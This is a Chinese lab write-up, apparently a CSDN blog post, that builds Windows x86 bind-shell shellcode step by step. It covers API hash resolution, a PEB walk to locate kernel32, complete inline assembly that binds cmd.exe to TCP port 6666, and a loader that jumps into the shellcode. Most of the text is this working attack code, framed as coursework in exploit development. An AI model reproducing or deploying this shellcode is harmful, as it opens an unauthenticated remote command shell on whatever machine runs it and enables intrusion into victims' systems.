• 3.7 bindshell编写


    目录

    一、实验环境

    二、实验要求

    三、实验步骤

    1、高级语言编写此bindshell的大概思路

    2、获取hash摘要

    3、动态定位API函数地址

    4、编写bindshell代码


    一、实验环境

            本实验采用的操作系统为windows xp,实验软件有:vc++

    二、实验要求

            编写的bindshell应该实现以下功能:

    • 绑定一个shell到6666端口;
    • 允许外部的网络连接使用这个shell;
    • 程序能正常退出;
    • 具有较强的通用性,能在windows NT4、windows 2000、windows xp、windows 2003上运行。

    三、实验步骤

    1、高级语言编写此bindshell的大概思路

            (1)调用WSAStartup()初始化winsocket;

                    注:任何使用Windows套接API的windows程序调用的第一个函数必须是WSAStartup()。

            (2)调用WSASocket()创建套接字;

                    注:套接字是端口与IP地址的组合,用于进程之间的通信。

            (3)调用bind()函数绑定套接字到本地(6666)端口;

            (4)调用listen()函数对连接请求进行监听;

            (5)调用accept()处理连接请求;

            (6)创建一个cmd进程,并将其输入与输出重定向到创建的套接字上;

            注:为客户端创建shell命令窗口,可以用CreateProcessA()函数。

            (7)调用ExitProcess()用于程序的正常退出。

            可以看到要想实现bindshell的功能,需要的函数包括:

    • kernel32.dll中的导出函数
    1. LoadLibraryA() //用于装载ws2_32.dll
    2. CreateProcessA()
    3. ExitProcess()

            注:windows下的socket程序依赖ws2_32.dll,必须提前装载。

    • ws2_32.dll中的导出函数
    1. WSAStartup()
    2. WSASocket()
    3. bind()
    4. listen()
    5. accept()

    2、获取hash摘要

            在用汇编语言编写bindshell之前,我们需要搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数的入口地址。 在搜索操作中,采用比较hash摘要的办法,而不是直接比较函数名。

            本实验采用的hash算法如下(esi指向当前hash的函数名,edx被初始化null):

    1. hash_loop:
    2. lodsb :把函数名中的一个字符装入al,并且esi+1,指向函数名中的下一个字符
    3. xor al,0x71 ;用0x71异或当前字符
    4. sub dl,al ;更新dl中的hash值
    5. cmp al,0x71 ;继续循环,直到遇到字符串结尾的null
    6. jne hash_loop

            通过这个hsah函数,原函数名、hash值、hash值对应的指令三者之间的关系如下表:

    原函数名、hash值及其对应指令的关系
    函数名hash后得到的摘要摘要对应的等价于nop的指令
    LoadLibraryA0x59pop ecx
    CreateProcessA0x81or ecx,0x203062d3
    ExitProcess0xc9
    WSAStartup0xd3
    WSASocket0x62
    bind0x30
    listen0x20
    accept0x41inc ecx

            需要注意:等价于nop指令,指的是相对于实际代码的上下文而言,不影响后续代码执行的指令。将等价于nop指令放在shellcode开头,就可以省去跳过这段摘要的跳转指令,进一步缩小shellcode的大小。

            另外,在调用CreateProcessA的时候,需要“cmd”这个字符串作为参数得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的大小写无关,也就是说,“cMD”和“cmD”是等价的。

    ASCII字值及其机器码对应的指令
    ASCII字符ASCII值(机器码)机器码对应的指令
    C0x43inc ebx
    M0x4ddec ebp
    d0x64FS:

            从“CMd”字符的ASCII码对应的指令来看,对后续指令的执行基本上没有影响,属于“准nop”指令,故将字符“CMd”放在hash值后面。

    3、动态定位API函数地址

            有关动态定位API函数地址的原理,请参考CSDN

            以定位kernel32.dll为例,代码如下:

    1. mov ebx, fs:[edx+0x30] // ebx = address of PEB
    2. mov ecx, [ebx+0x0c] // ecx = pointer to loader data
    3. mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
    4. mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
    5. mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll

    4、编写bindshell代码

    1. __asm
    2. {
    3. // eax points here
    4. // function hashes (executable as nop-equivalent)
    5. _emit 0x59 // LoadLibraryA // pop ecx
    6. _emit 0x81 // CreateProcessA // or ecx,0x203062d3
    7. _emit 0xc9 // ExitProcess
    8. _emit 0xd3 // WSAStartup
    9. _emit 0x62 // WSASocketA
    10. _emit 0x30 // bind
    11. _emit 0x20 // listen
    12. _emit 0x41 // accept // inc ecx
    13. // "CMd"
    14. _emit 0x43 // inc ebx
    15. _emit 0x4d // dec ebp
    16. _emit 0x64 // FS:
    17. // start of proper code
    18. cdq // set edx=0 (eax points to stack so is less than 0x80000000)
    19. xchg eax,esi // esi = addr of first function hash
    20. lea edi, [esi-0x18] // edi = addr of start writing function
    21. // address (last addr will be written just before "cmd")
    22. // find base addr of kernel32.dll
    23. mov ebx, fs:[edx+0x30] // ebx = address of PEB
    24. mov ecx, [ebx+0x0c] // ecx = pointer to loader data
    25. mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
    26. mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
    27. mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
    28. // make some stack space
    29. mov dh,0x03 // sizeof(WSADATA) is 0x190
    30. sub esp,edx
    31. // push a pointer to "ws2_32" onto stack
    32. mov dx,0x3233 // rest of edx is null
    33. push edx
    34. push 0x5f327377
    35. push esp
    36. find_lib_functions:
    37. lodsb // load next hash into al and increment esi
    38. cmp al, 0xd3 // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
    39. jne find_functions
    40. xchg eax,ebp // save current hash
    41. call [edi - 0xc] // LoadLibraryA
    42. xchg eax,ebp // restore current hash, and update ebp
    43. // whith base address of ws2_32.dll
    44. push edi // save location of addr of first winsock function
    45. find_functions:
    46. pushad // preserve registers
    47. mov eax, [ebp+0x3c] // eax = start of PE header
    48. mov ecx, [ebp+eax+0x78] // ecx = relative offset of export table
    49. add ecx, ebp // ecx = absolute addr of export table
    50. mov ebx, [ecx+0x20] // ebx = relative offset of names table
    51. add ebx, ebp // ebx = absolute addr of names table
    52. xor edi, edi // edi will count through the functions
    53. next_function_loop:
    54. inc edi // increment function counter
    55. mov esi, [ebx+edi*4] // esi = relative offset of current function name
    56. add esi, ebp // esi = absolute addr of current function name
    57. cdq //dl will hold hash(we know eax is small)
    58. hash_loop:
    59. lodsb // load next char into al and increment esi
    60. xor al, 0x71 // xor current char with 0x71
    61. sub dl, al // update hash with current char
    62. cmp al, 0x71 // loop until we reach end of string
    63. jne hash_loop
    64. cmp dl, [esp+0x1c] // compare to the requested hash (saved on stack from pushad)
    65. jnz next_function_loop
    66. //we now have the right function
    67. mov ebx, [ecx + 0x24] //ebx = relative offset of ordinals table
    68. add ebx, ebp //ebx = absolute addr of ordinals table
    69. mov di, [ebx + 2 * edi] //di = ordinal number of matched function
    70. mov ebx, [ecx + 0x1c] //ebx = relative offset of address table
    71. add ebx, ebp //ebx = absolute addr of address table
    72. add ebp, [ebx + 4 * edi] //add to ebp (base addr of module) the relative
    73. // offset of matched function
    74. xchg eax, ebp // move func addr into eax
    75. pop edi // edi is last onto stack in pushad write
    76. stosd // write functon addr to [edi] and increment edi
    77. push edi
    78. popad // restore registers
    79. cmp esi, edi // loop until we reach end of last hash
    80. jne find_lib_functions
    81. pop esi // saved location of first winsock function
    82. // we will lodsd and call each func in sequence
    83. // initialize winsock
    84. push esp // use stack for WSADATA
    85. push 0x02 // wVersionRequested
    86. lodsd
    87. call eax // WSAStartup
    88. // null-terminate "cmd"
    89. mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked
    90. // clear some stack to use as NULL parameters
    91. lea ecx, [eax+0x30] // sizeof(STARTUPINFO) = 0x44
    92. mov edi,esp
    93. rep stosd // eax is still 0
    94. //create socket
    95. inc eax
    96. push eax // type = 1 (SOCK_STREAM)
    97. inc eax
    98. push eax // af = 2 (AF_INET)
    99. lodsd
    100. call eax // WSASocketA
    101. xchg ebp,eax // save SOCKET descriptor in ebp
    102. // (safe from being changed by remaining API calls)
    103. // push bind parameters
    104. mov eax, 0x0a1aff02 // ox1a0a = port 6666, 0x02 = AF_INET
    105. xor ah,ah // remove the ff from eax
    106. push eax // we use 0x0a1a0002 as both the name (strucht sockaddr)
    107. // and namelen (which only needs to be large enough)
    108. push esp // pointer to our sockaddr struct
    109. // call bind(), linsten() and accept() in turn
    110. call_loop:
    111. push ebp //save SOCKET descriptor(we implicitly pass NULL for all other params)
    112. lodsd
    113. call eax // call the next function
    114. test eax,eax // bind() and listen() return 0,
    115. // accept() returns a SOCKET descriptor
    116. jz call_loop
    117. // initialise a STARTUPINFO structrue at esp
    118. inc byte ptr[esp+0x2d] // set STARTF_USERTDHANDLES to true
    119. sub edi,0x6c // point edi at hStdInput in STARTUPINFO
    120. stosd //use SOCKET descriptor returned by accept (still in eax)
    121. // as the stdin handle same for stdout
    122. stosd // same for stderr (optional)
    123. // create process
    124. pop eax // set eax = 0 (STARTUPINFO now at esp+4)
    125. push esp // use stack at PROCESSINFORMATION structure
    126. // (STARTUPINFO now back to esp)
    127. push esp // STARTUPINFO structrue
    128. push eax // lpCurrentDirectory = NULL
    129. push eax // lpEnvironment = NULL
    130. push eax // dwCreationFlags = NULL
    131. push esp // bInheritHandles = TRUE
    132. push eax // lpThreadAttributes = NULL
    133. push eax // lpProcessAttributes = NULL
    134. push esi // lpCommandLine = "cmd"
    135. push eax // lpApplicationName = NULL
    136. call[esi-0x1c] // CreateProcessA
    137. // call ExitProcess()
    138. call[esi-0x18] //ExitProcess
    139. }

            可以j将上述代码转化为机器码形式,用以下的代码装载shellcode:

    1. void main()
    2. {
    3. __asm
    4. {
    5. lea eax,sc
    6. push eax
    7. ret
    8. }
    9. }

  • 相关阅读:
    vue基本使用1
    DecorView和android.R.id.content的关系
    SpringCloud系列(9)--将服务消费者Consumer注册进Eureka Server
    2.6.C++项目:网络版五子棋对战之数据管理模块-游戏房间管理模块的设计
    9月编程排行榜新鲜出炉霸榜还得是它~
    0和1的歧义问题
    提升网站效率与SEO优化:ZBlog插件集成解决方案
    2022年认证杯SPSSPRO杯数学建模B题(第一阶段)唐宋诗的定量分析与比较研究求解全过程文档及程序
    GPS北斗时钟服务器(NTP网络时钟系统)施工部署方案
    ES集群搭建及Kibana安装
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/126458789